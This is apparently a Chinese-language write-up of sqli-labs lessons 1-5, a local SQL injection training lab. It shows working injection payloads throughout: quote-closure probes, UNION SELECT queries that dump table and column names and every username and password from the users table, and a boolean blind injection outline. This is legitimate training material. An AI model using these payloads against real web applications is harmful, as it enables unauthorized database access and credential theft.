sqli-labs Writeup (Less-1~5)
环境启动
参考教程:https://www.cnblogs.com/LY613313/p/16180127.html
- 先打开phpstudy,启动Apache和MySQL服务
- 然后打开浏览器输入
127.0.0.1/sqli-labs/
注:如果phpstudy安装在本机,就127.0.0.1或者localhost都可以;如果是虚拟机,则输入虚拟机的IP地址。
/sqli-labs/是源码文件夹的命名。
Less-1 (联合查询注入 - 单引号字符型)
第一步:注入点发现
(通用)测试流程:试探程序如何处理意外的输入
?id=1 → 正常显示
确认id参数有效,获得”基准”(页面的正常状态)?id=1' → 报错(SQL语法错误)
这说明:参数没有被过滤,参数被直接拼到 SQL 里?id=1'--+ → 正常显示?id=1' and 1=1 --+ → 正常(1=1 永远为真 → 正常返回数据)?id=1' and 1=2 --+ → 无显示(1=2 永远为假 → 返回空结果集 → 页面"无显示")
这说明:参数在 SQL 的 where 条件中生效,且可以注入(参数值被放到了 SQL 的 WHERE 条件中)。
结论:参数存在注入,闭合字符为单引号,可用 --+ 注释。
第二步:获取列数
1 | ?id=1' order by 3 --+ → 正常 |
这说明:查询结果中一共有 3 列
第三步:找显示位
1 | ?id=111' union select 1,2,3 --+ |
页面输出:
1 | Your Login name:2 → 说明第2列的数据显示在 Login name 位置 |
这说明:可以把恶意查询的结果放在第 2 列或第 3 列,它就会显示在页面上。
第四步:数据获取
已知:
第2列 → Login name 位置
第3列 → Password 位置
可以随意构造 union select … 查询
1. 查询数据库名
1 | ?id=111' union select 1,2,database() --+ |
- 当前数据库名:
security
2. 查询所有表名
1 | ?id=111' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ |
- 表名:
emails,referers,uagents,users
3. 查询 users 表中的列名
1 | ?id=111' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+ |
- 列名:
id,username,password
4. 查询最终数据
1 | ?id=111' union select 1,group_concat(username),group_concat(password) from security.users --+ |
- 从 security.users 表中取出所有用户名和密码
Less-2 (联合查询注入 - 数字型)
第一步:注入点发现
?id=1 → 正常显示?id=1' → 报错,报错信息中没有显示多出的引号,而是直接在LIMIT 0,1处报错?id=1'--+ → 仍然报错
这说明:不是字符型,是数字型?id=1 and 1=1 → 正常?id=1 and 1=2 → 无显示
最快速的验证:直接试
?id=1 and 1=2→ 无显示,再试?id=1 and 1=1→ 正常。如果成立,就说明是数字型,无需考虑引号。
结论:参数存在注入,数字型,无需引号闭合,直接构造 SQL 语句即可。
后续流程类似Less-1。
Less-3 (联合查询注入 - 单引号+括号字符型)
第一步:注入点发现
?id=1 → 正常显示?id=1' → 报错,提示near ''1'') LIMIT 0,1'?id=1') --+ → 正常?id=1') and 1=1 --+ → 正常?id=1') and 1=2 --+ → 无显示
结论:闭合字符为 '),注释符 --+。
后续流程类似Less-1。
Less-4 (联合查询注入 - 双引号+括号字符型)
第一步:注入点发现
?id=1 → 正常显示 Dumb/Dumb?id=1' → **正常**(双引号包裹时,单引号不会破坏语法,MySQL 会将 ‘1’ 转为数字 1)?id=1" → **报错**(因为多出的双引号导致括号内字符串提前闭合,语法错误)?id=1") --+ → 恢复正常显示?id=1") and 1=1 --+ → 正常?id=1") and 1=2 --+ → 无显示
结论:闭合字符为 "),注释符 --+。
后续流程类似Less-1。
Less-5 (布尔盲注 - 单引号字符型)
第一步:注入点判断
?id=1 → 显示 "You are in..."?id=1' → 报错?id=1' --+ → 显示 "You are in..."?id=1' and 1=1 --+ → 显示 "You are in..."?id=1' and 1=2 --+ → 无显示
结论:单引号闭合,页面只有”有内容”和”无内容”两种状态,没有数据回显,使用布尔盲注。
辅助函数定义
test(condition):构造1' and [condition] #并发送请求,若页面包含 “You are in” 则返回True,否则False。get_data(sql_expr):利用test()自动获取任意 SQL 表达式的值(先探测长度,再逐字符猜解),返回字符串。
第二步:获取数据库名
先获取长度,再逐字符猜解
1 | # 长度探测:数据库名长度为 8 |
第三步:获取所有表名
利用 information_schema.tables 和 limit。
1 | # 统计表数量 |
第四步:获取 users 表的列名
1 | # 统计列数 |
第五步:获取数据
1 | # 统计行数 |